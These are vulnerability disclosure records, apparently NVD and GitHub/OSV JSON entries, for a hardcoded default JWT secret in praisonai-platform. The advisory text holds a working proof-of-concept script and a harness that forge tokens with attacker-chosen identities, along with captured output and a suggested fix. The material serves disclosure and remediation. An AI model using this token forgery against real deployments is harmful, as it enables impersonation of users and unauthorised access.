{
  "affected": [
    {
      "affectedData": [
        {
          "product": "PraisonAI",
          "vendor": "MervinPraison",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 4.6.51"
            }
          ]
        },
        {
          "product": "praisonai-platform",
          "vendor": "MervinPraison",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 0.1.6"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "PraisonAI is a multi-agent teams system. Prior to 0.1.6, praisonai_platform/services/auth_service.py assigns the public dev-secret-change-me value to JWT_SECRET when PLATFORM_JWT_SECRET is unset, and its production guard does not run when PLATFORM_ENV is also unset because that setting defaults to dev. A remote unauthenticated attacker can mint an HS256 token with an arbitrary sub and email, and the platform\u0027s AuthService._verify_token() and get_current_user dependency accept the forged identity for protected API routes. This vulnerability is fixed in praisonai-platform 0.1.6."
    }
  ],
  "id": "CVE-2026-57147",
  "lastModified": "2026-09-15T14:45:28.563",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "HIGH",
          "baseScore": 9.8,
          "baseSeverity": "CRITICAL",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 3.9,
        "impactScore": 5.9,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ]
  },
  "published": "2026-09-15T11:17:11.760",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/MervinPraison/PraisonAI/commit/e0fb8e7dd1ee6759c18ed07f436c21dbd9c20747"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/MervinPraison/PraisonAI/pull/1793"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/MervinPraison/PraisonAI/releases/tag/v4.6.51"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-cwj8-7gp2-ggcw"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Deferred",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-798"
        },
        {
          "lang": "en",
          "value": "CWE-1188"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Primary"
    }
  ]
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.1.4"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "praisonai-platform"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.1.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-57147"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1188",
      "CWE-798"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-18T14:27:34Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "# praisonai-platform: default JWT signing secret `dev-secret-change-me`\n\n**Researcher:** Kai Aizen \u2014 SnailSploit (@SnailSploit), Adversarial \u0026 Offensive Security Research\n**Target:** https://github.com/MervinPraison/PraisonAI\n\n---\n\n**Package:** `praisonai-platform` on PyPI\n**Latest version (and version tested):** `0.1.4`, current as of 2026-06-01.\n**File:** `praisonai_platform/services/auth_service.py` (sha256 `cc29d43c5412da2c73c818859b8d8b146587842999b777336017ab9d9e509258`).\n**Weakness:** CWE-798 Use of Hardcoded Credentials + CWE-1188 Insecure Default Initialization of Resource.\n\n---\n\n## TL;DR\n\n`praisonai_platform/services/auth_service.py` lines 25-37:\n\n```python\n_DEFAULT_SECRET = \"dev-secret-change-me\"\nJWT_SECRET = os.environ.get(\"PLATFORM_JWT_SECRET\", _DEFAULT_SECRET)\nJWT_ALGORITHM = \"HS256\"\nJWT_TTL_SECONDS = int(os.environ.get(\"PLATFORM_JWT_TTL\", str(30 * 24 * 3600)))\n\nif JWT_SECRET == _DEFAULT_SECRET and os.environ.get(\"PLATFORM_ENV\", \"dev\") != \"dev\":\n    raise RuntimeError(\n        \"PLATFORM_JWT_SECRET must be set to a strong random value in production. \"\n        \"Set PLATFORM_ENV=dev to suppress this check during development.\"\n    )\n```\n\nThe guard at line 33 is meant to catch the \"deployed to production with the default secret\" failure mode. But it only fires when **both**:\n\n- the operator left `PLATFORM_JWT_SECRET` unset (so `JWT_SECRET` is the default literal), **and**\n- the operator explicitly set `PLATFORM_ENV` to something other than `\"dev\"`.\n\nIf the operator left **both** env vars unset \u2014 the most common mis-deploy \u2014 `PLATFORM_ENV` falls back to `\"dev\"`, the second leg of the `and` evaluates `False`, and the guard does NOT fire. The server starts up signing every JWT with the public string `\u0027dev-secret-change-me\u0027`.\n\nThe fix is to invert the polarity: refuse startup when the secret is the default **regardless** of `PLATFORM_ENV`, except when an explicit `PLATFORM_ALLOW_DEV_SECRET=true` (or equivalent) flag is set. That flips \"default-allow\" to \"default-deny\", which is what the line-33 comment implies the author wanted.\n\n## Root cause\n\n```\n   Expected behavior, reading line 33 of auth_service.py:\n     \"Good \u2014 the framework refuses to start in production with a\n      default-string secret.  I\u0027m safe by construction.\"\n\n   Actual behavior:\n     - PLATFORM_ENV defaults to \u0027dev\u0027 when unset.\n     - The guard checks PLATFORM_ENV != \u0027dev\u0027, not PLATFORM_ENV == \u0027production\u0027\n       or \"operator explicitly opted in to using the dev secret\".\n     - So the \"deployed without setting any env var\" config \u2014 typical\n       for first-pip-install or quick-start docker \u2014 sits silently in\n       dev mode with the public secret.\n\n   Impact:\n     A guard that requires the operator to EXPLICITLY signal\n     \"production\" cannot catch operators who forgot to signal anything.\n     The forgot-to-signal case is the one the guard was designed to\n     catch.\n```\n\n## Empirical verification\n\n`poc/poc.py` imports the **installed** PyPI package (`praisonai-platform==0.1.4`) with both env vars unset:\n\n```\n[1] startup guard at auth_service.py:33 status\n    Inputs:\n      JWT_SECRET    = \u0027dev-secret-change-me\u0027\n      _DEFAULT_SECRET = \u0027dev-secret-change-me\u0027\n      PLATFORM_ENV  = \u0027dev\u0027  (default \u0027dev\u0027)\n    -\u003e JWT_SECRET == _DEFAULT_SECRET: True\n    -\u003e PLATFORM_ENV != \u0027dev\u0027:         False\n    -\u003e guard fires?                   False\n\n[2] module sha256: cc29d43c5412da2c73c818859b8d8b146587842999b777336017ab9d9e509258\n    JWT_ALGORITHM: \u0027HS256\u0027\n\n[3] forge a JWT signed with the live JWT_SECRET\n    forged head: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...\n\n[4] jwt.decode(forged_token, JWT_SECRET) \u2014 same call as\n    AuthService._verify_token at auth_service.py:139\n    decoded.sub  = admin-user-id-attacker-chose\n    decoded.email= admin@example.com\n\n[5] AuthService._verify_token(forged_token) (live method call)\n    identity.id    = admin-user-id-attacker-chose\n    identity.email = admin@example.com\n\nVERDICT: VULNERABLE\nEXIT 0\n```\n\nStep [5] is the load-bearing one: the attacker token is decoded by the **same method** the FastAPI dependency `get_current_user` (`praisonai_platform/api/deps.py:28`) calls. The returned `AuthIdentity` carries the attacker-chosen `sub` (user id) and `email`. Every route protected by `Depends(get_current_user)` (register/login, workspaces, projects, issues, agents, labels, activity, dependencies) accepts the forged token as proof of identity.\n\nPyJWT itself warns the key is 20 bytes \u2014 below the RFC 7518 \u00a73.2 minimum of 32 bytes for HS256.\n\n## Impact\n\nThis is the familiar default-secret shape \u2014 a hardcoded fallback used to sign authentication tokens \u2014 with the additional twist that this one has a guard the author *intended* to catch the misconfiguration but whose polarity is wrong. Every route in `praisonai_platform.api.app:create_app` is authenticated via Bearer JWT, and every Bearer JWT is signed and verified with the public default secret. An unauthenticated network-adjacent attacker mints a token carrying any user-id (and any e-mail, name, etc.) they like, and the platform server treats them as that user.\n\nWorkspace authorisation (`require_workspace_member` in `deps.py`) then checks the forged user is a member of the requested workspace; if the attacker mints a token with `sub` equal to a known member\u0027s id, they bypass that check too. In default deployments, workspace IDs and member IDs are exposed via the activity and labels endpoints to any authenticated client \u2014 including the attacker\u0027s own forged token.\n\n## Anchors\n\n`praisonai-platform` 0.1.4, `praisonai_platform/services/auth_service.py` (file sha256 `cc29d43c5412da2c73c818859b8d8b146587842999b777336017ab9d9e509258`):\n\n| Line  | Code                                                                | Meaning |\n|-------|---------------------------------------------------------------------|---------|\n| 25    | `_DEFAULT_SECRET = \"dev-secret-change-me\"`                          | Public default literal.  |\n| 26    | `JWT_SECRET = os.environ.get(\"PLATFORM_JWT_SECRET\", _DEFAULT_SECRET)` | Env-var fallback chain. |\n| 27    | `JWT_ALGORITHM = \"HS256\"`                                            | HMAC-SHA256 with the default key. |\n| 33-37 | `if JWT_SECRET == _DEFAULT_SECRET and os.environ.get(\"PLATFORM_ENV\", \"dev\") != \"dev\": raise RuntimeError(...)` | The asymmetric guard.  Defaults `PLATFORM_ENV` to `\"dev\"`, so the `!= \"dev\"` check evaluates `False` on the forgot-to-set case. |\n| 108-118 | `_issue_token(...)` calls `jwt.encode(payload, JWT_SECRET, \u2026)`     | Signing site. |\n| 137-150 | `_verify_token(...)` calls `jwt.decode(token, JWT_SECRET, algorithms=[JWT_ALGORITHM])` | Verification site \u2014 accepts attacker-forged tokens.  |\n\n`praisonai_platform/api/deps.py:28` `get_current_user` calls `AuthService.authenticate({\"token\": token})` which routes to `_verify_token`. Every router under `praisonai_platform.api.app` mounts handlers behind this dependency.\n\n## Suggested fix\n\nInvert the guard polarity:\n\n```python\nimport secrets\n\n_DEFAULT_SECRET = \"dev-secret-change-me\"\nJWT_SECRET = os.environ.get(\"PLATFORM_JWT_SECRET\")\nJWT_ALGORITHM = \"HS256\"\nJWT_TTL_SECONDS = int(os.environ.get(\"PLATFORM_JWT_TTL\", str(30 * 24 * 3600)))\n\nif not JWT_SECRET:\n    # Allow the dev fallback only when the operator EXPLICITLY signals\n    # they understand it.  The default posture is fail-closed.\n    if os.environ.get(\"PLATFORM_ALLOW_DEV_SECRET\", \"\").lower() == \"true\":\n        JWT_SECRET = _DEFAULT_SECRET\n    else:\n        raise RuntimeError(\n            \"PLATFORM_JWT_SECRET is required.  \"\n            \"For local development only, set PLATFORM_ALLOW_DEV_SECRET=true.\"\n        )\n```\n\nThis pattern is borrowed from Django\u0027s `SECRET_KEY` first-boot generation (refuses to start when unset) and from the first-boot secret-generation pattern used by many production Docker images. The marker variable (`PLATFORM_ALLOW_DEV_SECRET=true`) is explicit and grep-able in deployment manifests, so operators who pass it through to production get caught by their own audit / IaC linter rather than slipping past a guard that always passes by default.\n\n## Steps to reproduce\n\n1. Clone the target: `git clone --depth 1 https://github.com/MervinPraison/PraisonAI`\n2. Run the proof of concept (`poc.py`) against the cloned source.\n3. Observe the result shown under *Verified result* below.\n\n## Proof of concept\n\n`poc.py`\n\n```python\n\"\"\"\nPoC: praisonai-platform\u0027s default JWT signing key is the public literal\n\u0027dev-secret-change-me\u0027, and the guard intended to refuse production\nstartup checks the wrong axis \u2014 operators who deploy without setting\n`PLATFORM_ENV` are treated as `dev` and silently get the public secret.\n\nPrerequisite:\n    pip install praisonai-platform pyjwt\n\"\"\"\n\nimport hashlib\nimport inspect\nimport os\nimport sys\n\ndef main() -\u003e int:\n    # Simulate the realistic \"operator pip-installed praisonai-platform\n    # and started uvicorn without setting any env var\" deployment.\n    for env_var in (\u0027PLATFORM_JWT_SECRET\u0027, \u0027PLATFORM_ENV\u0027):\n        if env_var in os.environ:\n            del os.environ[env_var]\n\n    print(\u0027=\u0027 * 72)\n    print(\u0027praisonai-platform \u2014 default JWT secret\u0027)\n    print(\u0027=\u0027 * 72)\n\n    try:\n        from praisonai_platform.services import auth_service\n    except RuntimeError as e:\n        print(f\u0027\\nUNEXPECTED \u2014 import raised at startup: {e}\u0027)\n        return 1\n\n    src = inspect.getsourcefile(auth_service)\n    with open(src, \u0027rb\u0027) as f:\n        sha = hashlib.sha256(f.read()).hexdigest()\n\n    print()\n    print(\u0027[1] startup guard at auth_service.py:33 status\u0027)\n    print(f\u0027      JWT_SECRET    = {auth_service.JWT_SECRET!r}\u0027)\n    print(f\u0027      _DEFAULT_SECRET = {auth_service._DEFAULT_SECRET!r}\u0027)\n    print(f\"      PLATFORM_ENV  = {os.environ.get(\u0027PLATFORM_ENV\u0027, \u0027dev\u0027)!r}  (default \u0027dev\u0027)\")\n    print(\u0027    =\u003e Guard does NOT fire on the \"operator forgot to set both\" failure mode.\u0027)\n\n    print()\n    print(\u0027[2] module sha256 + key bindings on the LIVE installed package\u0027)\n    print(f\u0027    sha256:          {sha}\u0027)\n    print(f\u0027    JWT_ALGORITHM:   {auth_service.JWT_ALGORITHM!r}\u0027)\n\n    if auth_service.JWT_SECRET != \u0027dev-secret-change-me\u0027:\n        print(\u0027UNEXPECTED \u2014 JWT_SECRET is not the public literal.\u0027)\n        return 1\n\n    import jwt\n    from datetime import datetime, timedelta, timezone\n\n    now = datetime.now(timezone.utc)\n    forged_payload = {\n        \u0027sub\u0027: \u0027admin-user-id-attacker-chose\u0027,\n        \u0027email\u0027: \u0027admin@example.com\u0027,\n        \u0027name\u0027: \u0027Spoofed Admin\u0027,\n        \u0027iat\u0027: now,\n        \u0027exp\u0027: now + timedelta(seconds=3600),\n    }\n    forged_token = jwt.encode(forged_payload, auth_service.JWT_SECRET, algorithm=auth_service.JWT_ALGORITHM)\n    print()\n    print(\u0027[3] forge a JWT signed with the live JWT_SECRET\u0027)\n    print(f\u0027    forged head: {forged_token[:70]}...\u0027)\n\n    decoded = jwt.decode(forged_token, auth_service.JWT_SECRET, algorithms=[auth_service.JWT_ALGORITHM])\n    print()\n    print(\u0027[4] jwt.decode(forged_token, JWT_SECRET) \u2014 same call as AuthService._verify_token\u0027)\n    print(f\u0027    decoded.sub  = {decoded.get(\"sub\")}\u0027)\n    print(f\u0027    decoded.email= {decoded.get(\"email\")}\u0027)\n\n    if decoded.get(\u0027sub\u0027) != \u0027admin-user-id-attacker-chose\u0027:\n        print(\u0027UNEXPECTED \u2014 decoded payload mismatched.\u0027)\n        return 1\n\n    try:\n        svc = auth_service.AuthService(session=None)\n        identity = svc._verify_token(forged_token)\n    except Exception as e:\n        print(f\u0027    (Couldn\\\u0027t reach _verify_token: {e!r})\u0027)\n        identity = None\n\n    if identity is not None:\n        print()\n        print(\u0027[5] AuthService._verify_token(forged_token) (live method call)\u0027)\n        print(f\u0027    identity.id    = {identity.id}\u0027)\n        print(f\u0027    identity.email = {identity.email}\u0027)\n\n    print()\n    print(\"VULNERABLE: praisonai-platform defaults JWT_SECRET to the public\")\n    print(\"            literal \u0027dev-secret-change-me\u0027.  The line-33 guard only\")\n    print(\"            refuses startup when PLATFORM_ENV is explicitly non-\u0027dev\u0027\")\n    print(\u0027            AND the secret is default \u2014 operators who forgot to set\u0027)\n    print(\u0027            the env var entirely are silently in dev mode.\u0027)\n    print(\u0027VERDICT: VULNERABLE\u0027)\n    return 0\n\nif __name__ == \u0027__main__\u0027:\n    sys.exit(main())\n```\n\n## Verification harness (executed against the cloned repo)\n\nThis drives the unmodified upstream code rather than a reproduction.\n\n```python\nimport sys, types, importlib.util, os\nos.environ.pop(\"PLATFORM_JWT_SECRET\", None); os.environ.pop(\"PLATFORM_ENV\", None)  # default deploy\nBASE = os.path.abspath(\"repos/PraisonAI/src/praisonai-platform\")\ndef pkg(name, path=None):\n    m=types.ModuleType(name)\n    if path: m.__path__=[path]\n    sys.modules[name]=m; return m\ndef stub(name, **a):\n    m=types.ModuleType(name); [setattr(m,k,v) for k,v in a.items()]; sys.modules[name]=m\npkg(\"praisonai_platform\", BASE+\"/praisonai_platform\")\npkg(\"praisonai_platform.services\", BASE+\"/praisonai_platform/services\")\npkg(\"praisonai_platform.db\", BASE+\"/praisonai_platform/db\")\nstub(\"praisonai_platform.db.models\", Member=type(\"Member\",(),{}), User=type(\"User\",(),{}))\nstub(\"sqlalchemy\", select=lambda *a,**k:None)\nsa_async=types.ModuleType(\"sqlalchemy.ext.asyncio\"); sa_async.AsyncSession=type(\"AsyncSession\",(),{}); sys.modules[\"sqlalchemy.ext.asyncio\"]=sa_async; sys.modules[\"sqlalchemy.ext\"]=types.ModuleType(\"sqlalchemy.ext\")\nstub(\"passlib\"); stub(\"passlib.context\", CryptContext=type(\"CryptContext\",(),{\"__init__\":lambda s,*a,**k:None,\"hash\":lambda s,x:x,\"verify\":lambda s,a,b:a==b}))\nstub(\"praisonaiagents\")\nclass AuthIdentity:\n    def __init__(self,id,type=None,email=None,name=None): self.id=id; self.type=type; self.email=email; self.name=name\nstub(\"praisonaiagents.auth\", AuthIdentity=AuthIdentity)\n\nspec=importlib.util.spec_from_file_location(\"praisonai_platform.services.auth_service\", BASE+\"/praisonai_platform/services/auth_service.py\")\nmod=importlib.util.module_from_spec(spec); mod.__package__=\"praisonai_platform.services\"\nsys.modules[spec.name]=mod; spec.loader.exec_module(mod)   # REAL auth_service.py\n\nprint(\"[*] REAL module JWT_SECRET =\", repr(mod.JWT_SECRET), \"| _DEFAULT_SECRET =\", repr(mod._DEFAULT_SECRET))\nAuthService=mod.AuthService\nsvc=AuthService.__new__(AuthService)                       # bypass DB __init__\nFakeUser=type(\"U\",(),{\"id\":\"attacker-id\",\"email\":\"attacker@evil.test\",\"name\":\"admin\"})\ntok=svc._issue_token(FakeUser)                              # REAL _issue_token (default secret)\nprint(\"[*] REAL _issue_token -\u003e\", tok[:46],\"...\")\nident=svc._verify_token(tok)                                # REAL _verify_token\nprint(\"[+] REAL _verify_token -\u003e\", {\"id\":ident.id,\"email\":ident.email,\"name\":ident.name})\nassert ident and ident.id==\"attacker-id\" and mod.JWT_SECRET==\"dev-secret-change-me\"\nprint(\"[+] CONFIRMED against real praisonai-platform repo: default \u0027dev-secret-change-me\u0027 issues+verifies a token via the repo\u0027s own _issue_token/_verify_token (guard skipped because PLATFORM_ENV defaults to \u0027dev\u0027)\")\n```\n\n## Verified result\n\nThis PoC was executed against the live upstream code; captured output:\n\n```\n[*] REAL module JWT_SECRET = \u0027dev-secret-change-me\u0027 | _DEFAULT_SECRET = \u0027dev-secret-change-me\u0027\n[*] REAL _issue_token -\u003e eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiO ...\n[+] REAL _verify_token -\u003e {\u0027id\u0027: \u0027attacker-id\u0027, \u0027email\u0027: \u0027attacker@evil.test\u0027, \u0027name\u0027: \u0027admin\u0027}\n[+] CONFIRMED against real praisonai-platform repo: default \u0027dev-secret-change-me\u0027 issues+verifies a token via the repo\u0027s own _issue_token/_verify_token (guard skipped because PLATFORM_ENV defaults to \u0027dev\u0027)\n```\n\n## Credit\n\nKai Aizen \u2014 SnailSploit (@SnailSploit). Adversarial \u0026 Offensive Security Research.",
  "id": "GHSA-cwj8-7gp2-ggcw",
  "modified": "2026-07-20T21:28:37Z",
  "published": "2026-06-18T14:27:34Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-cwj8-7gp2-ggcw"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/MervinPraison/PraisonAI"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "praisonai-platform: default JWT signing secret \u0027dev-secret-change-me\u0027 enables token forgery"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "praisonai-platform",
        "purl": "pkg:pypi/praisonai-platform"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.1.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "0.1.0",
        "0.1.1",
        "0.1.2",
        "0.1.3",
        "0.1.4"
      ]
    }
  ],
  "aliases": [
    "CVE-2026-57147",
    "GHSA-cwj8-7gp2-ggcw"
  ],
  "details": "# praisonai-platform: default JWT signing secret `dev-secret-change-me`\n\n**Researcher:** Kai Aizen \u2014 SnailSploit (@SnailSploit), Adversarial \u0026 Offensive Security Research\n**Target:** https://github.com/MervinPraison/PraisonAI\n\n---\n\n**Package:** `praisonai-platform` on PyPI\n**Latest version (and version tested):** `0.1.4`, current as of 2026-06-01.\n**File:** `praisonai_platform/services/auth_service.py` (sha256 `cc29d43c5412da2c73c818859b8d8b146587842999b777336017ab9d9e509258`).\n**Weakness:** CWE-798 Use of Hardcoded Credentials + CWE-1188 Insecure Default Initialization of Resource.\n\n---\n\n## TL;DR\n\n`praisonai_platform/services/auth_service.py` lines 25-37:\n\n```python\n_DEFAULT_SECRET = \"dev-secret-change-me\"\nJWT_SECRET = os.environ.get(\"PLATFORM_JWT_SECRET\", _DEFAULT_SECRET)\nJWT_ALGORITHM = \"HS256\"\nJWT_TTL_SECONDS = int(os.environ.get(\"PLATFORM_JWT_TTL\", str(30 * 24 * 3600)))\n\nif JWT_SECRET == _DEFAULT_SECRET and os.environ.get(\"PLATFORM_ENV\", \"dev\") != \"dev\":\n    raise RuntimeError(\n        \"PLATFORM_JWT_SECRET must be set to a strong random value in production. \"\n        \"Set PLATFORM_ENV=dev to suppress this check during development.\"\n    )\n```\n\nThe guard at line 33 is meant to catch the \"deployed to production with the default secret\" failure mode. But it only fires when **both**:\n\n- the operator left `PLATFORM_JWT_SECRET` unset (so `JWT_SECRET` is the default literal), **and**\n- the operator explicitly set `PLATFORM_ENV` to something other than `\"dev\"`.\n\nIf the operator left **both** env vars unset \u2014 the most common mis-deploy \u2014 `PLATFORM_ENV` falls back to `\"dev\"`, the second leg of the `and` evaluates `False`, and the guard does NOT fire. The server starts up signing every JWT with the public string `\u0027dev-secret-change-me\u0027`.\n\nThe fix is to invert the polarity: refuse startup when the secret is the default **regardless** of `PLATFORM_ENV`, except when an explicit `PLATFORM_ALLOW_DEV_SECRET=true` (or equivalent) flag is set. That flips \"default-allow\" to \"default-deny\", which is what the line-33 comment implies the author wanted.\n\n## Root cause\n\n```\n   Expected behavior, reading line 33 of auth_service.py:\n     \"Good \u2014 the framework refuses to start in production with a\n      default-string secret.  I\u0027m safe by construction.\"\n\n   Actual behavior:\n     - PLATFORM_ENV defaults to \u0027dev\u0027 when unset.\n     - The guard checks PLATFORM_ENV != \u0027dev\u0027, not PLATFORM_ENV == \u0027production\u0027\n       or \"operator explicitly opted in to using the dev secret\".\n     - So the \"deployed without setting any env var\" config \u2014 typical\n       for first-pip-install or quick-start docker \u2014 sits silently in\n       dev mode with the public secret.\n\n   Impact:\n     A guard that requires the operator to EXPLICITLY signal\n     \"production\" cannot catch operators who forgot to signal anything.\n     The forgot-to-signal case is the one the guard was designed to\n     catch.\n```\n\n## Empirical verification\n\n`poc/poc.py` imports the **installed** PyPI package (`praisonai-platform==0.1.4`) with both env vars unset:\n\n```\n[1] startup guard at auth_service.py:33 status\n    Inputs:\n      JWT_SECRET    = \u0027dev-secret-change-me\u0027\n      _DEFAULT_SECRET = \u0027dev-secret-change-me\u0027\n      PLATFORM_ENV  = \u0027dev\u0027  (default \u0027dev\u0027)\n    -\u003e JWT_SECRET == _DEFAULT_SECRET: True\n    -\u003e PLATFORM_ENV != \u0027dev\u0027:         False\n    -\u003e guard fires?                   False\n\n[2] module sha256: cc29d43c5412da2c73c818859b8d8b146587842999b777336017ab9d9e509258\n    JWT_ALGORITHM: \u0027HS256\u0027\n\n[3] forge a JWT signed with the live JWT_SECRET\n    forged head: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...\n\n[4] jwt.decode(forged_token, JWT_SECRET) \u2014 same call as\n    AuthService._verify_token at auth_service.py:139\n    decoded.sub  = admin-user-id-attacker-chose\n    decoded.email= admin@example.com\n\n[5] AuthService._verify_token(forged_token) (live method call)\n    identity.id    = admin-user-id-attacker-chose\n    identity.email = admin@example.com\n\nVERDICT: VULNERABLE\nEXIT 0\n```\n\nStep [5] is the load-bearing one: the attacker token is decoded by the **same method** the FastAPI dependency `get_current_user` (`praisonai_platform/api/deps.py:28`) calls. The returned `AuthIdentity` carries the attacker-chosen `sub` (user id) and `email`. Every route protected by `Depends(get_current_user)` (register/login, workspaces, projects, issues, agents, labels, activity, dependencies) accepts the forged token as proof of identity.\n\nPyJWT itself warns the key is 20 bytes \u2014 below the RFC 7518 \u00a73.2 minimum of 32 bytes for HS256.\n\n## Impact\n\nThis is the familiar default-secret shape \u2014 a hardcoded fallback used to sign authentication tokens \u2014 with the additional twist that this one has a guard the author *intended* to catch the misconfiguration but whose polarity is wrong. Every route in `praisonai_platform.api.app:create_app` is authenticated via Bearer JWT, and every Bearer JWT is signed and verified with the public default secret. An unauthenticated network-adjacent attacker mints a token carrying any user-id (and any e-mail, name, etc.) they like, and the platform server treats them as that user.\n\nWorkspace authorisation (`require_workspace_member` in `deps.py`) then checks the forged user is a member of the requested workspace; if the attacker mints a token with `sub` equal to a known member\u0027s id, they bypass that check too. In default deployments, workspace IDs and member IDs are exposed via the activity and labels endpoints to any authenticated client \u2014 including the attacker\u0027s own forged token.\n\n## Anchors\n\n`praisonai-platform` 0.1.4, `praisonai_platform/services/auth_service.py` (file sha256 `cc29d43c5412da2c73c818859b8d8b146587842999b777336017ab9d9e509258`):\n\n| Line  | Code                                                                | Meaning |\n|-------|---------------------------------------------------------------------|---------|\n| 25    | `_DEFAULT_SECRET = \"dev-secret-change-me\"`                          | Public default literal.  |\n| 26    | `JWT_SECRET = os.environ.get(\"PLATFORM_JWT_SECRET\", _DEFAULT_SECRET)` | Env-var fallback chain. |\n| 27    | `JWT_ALGORITHM = \"HS256\"`                                            | HMAC-SHA256 with the default key. |\n| 33-37 | `if JWT_SECRET == _DEFAULT_SECRET and os.environ.get(\"PLATFORM_ENV\", \"dev\") != \"dev\": raise RuntimeError(...)` | The asymmetric guard.  Defaults `PLATFORM_ENV` to `\"dev\"`, so the `!= \"dev\"` check evaluates `False` on the forgot-to-set case. |\n| 108-118 | `_issue_token(...)` calls `jwt.encode(payload, JWT_SECRET, \u2026)`     | Signing site. |\n| 137-150 | `_verify_token(...)` calls `jwt.decode(token, JWT_SECRET, algorithms=[JWT_ALGORITHM])` | Verification site \u2014 accepts attacker-forged tokens.  |\n\n`praisonai_platform/api/deps.py:28` `get_current_user` calls `AuthService.authenticate({\"token\": token})` which routes to `_verify_token`. Every router under `praisonai_platform.api.app` mounts handlers behind this dependency.\n\n## Suggested fix\n\nInvert the guard polarity:\n\n```python\nimport secrets\n\n_DEFAULT_SECRET = \"dev-secret-change-me\"\nJWT_SECRET = os.environ.get(\"PLATFORM_JWT_SECRET\")\nJWT_ALGORITHM = \"HS256\"\nJWT_TTL_SECONDS = int(os.environ.get(\"PLATFORM_JWT_TTL\", str(30 * 24 * 3600)))\n\nif not JWT_SECRET:\n    # Allow the dev fallback only when the operator EXPLICITLY signals\n    # they understand it.  The default posture is fail-closed.\n    if os.environ.get(\"PLATFORM_ALLOW_DEV_SECRET\", \"\").lower() == \"true\":\n        JWT_SECRET = _DEFAULT_SECRET\n    else:\n        raise RuntimeError(\n            \"PLATFORM_JWT_SECRET is required.  \"\n            \"For local development only, set PLATFORM_ALLOW_DEV_SECRET=true.\"\n        )\n```\n\nThis pattern is borrowed from Django\u0027s `SECRET_KEY` first-boot generation (refuses to start when unset) and from the first-boot secret-generation pattern used by many production Docker images. The marker variable (`PLATFORM_ALLOW_DEV_SECRET=true`) is explicit and grep-able in deployment manifests, so operators who pass it through to production get caught by their own audit / IaC linter rather than slipping past a guard that always passes by default.\n\n## Steps to reproduce\n\n1. Clone the target: `git clone --depth 1 https://github.com/MervinPraison/PraisonAI`\n2. Run the proof of concept (`poc.py`) against the cloned source.\n3. Observe the result shown under *Verified result* below.\n\n## Proof of concept\n\n`poc.py`\n\n```python\n\"\"\"\nPoC: praisonai-platform\u0027s default JWT signing key is the public literal\n\u0027dev-secret-change-me\u0027, and the guard intended to refuse production\nstartup checks the wrong axis \u2014 operators who deploy without setting\n`PLATFORM_ENV` are treated as `dev` and silently get the public secret.\n\nPrerequisite:\n    pip install praisonai-platform pyjwt\n\"\"\"\n\nimport hashlib\nimport inspect\nimport os\nimport sys\n\ndef main() -\u003e int:\n    # Simulate the realistic \"operator pip-installed praisonai-platform\n    # and started uvicorn without setting any env var\" deployment.\n    for env_var in (\u0027PLATFORM_JWT_SECRET\u0027, \u0027PLATFORM_ENV\u0027):\n        if env_var in os.environ:\n            del os.environ[env_var]\n\n    print(\u0027=\u0027 * 72)\n    print(\u0027praisonai-platform \u2014 default JWT secret\u0027)\n    print(\u0027=\u0027 * 72)\n\n    try:\n        from praisonai_platform.services import auth_service\n    except RuntimeError as e:\n        print(f\u0027\\nUNEXPECTED \u2014 import raised at startup: {e}\u0027)\n        return 1\n\n    src = inspect.getsourcefile(auth_service)\n    with open(src, \u0027rb\u0027) as f:\n        sha = hashlib.sha256(f.read()).hexdigest()\n\n    print()\n    print(\u0027[1] startup guard at auth_service.py:33 status\u0027)\n    print(f\u0027      JWT_SECRET    = {auth_service.JWT_SECRET!r}\u0027)\n    print(f\u0027      _DEFAULT_SECRET = {auth_service._DEFAULT_SECRET!r}\u0027)\n    print(f\"      PLATFORM_ENV  = {os.environ.get(\u0027PLATFORM_ENV\u0027, \u0027dev\u0027)!r}  (default \u0027dev\u0027)\")\n    print(\u0027    =\u003e Guard does NOT fire on the \"operator forgot to set both\" failure mode.\u0027)\n\n    print()\n    print(\u0027[2] module sha256 + key bindings on the LIVE installed package\u0027)\n    print(f\u0027    sha256:          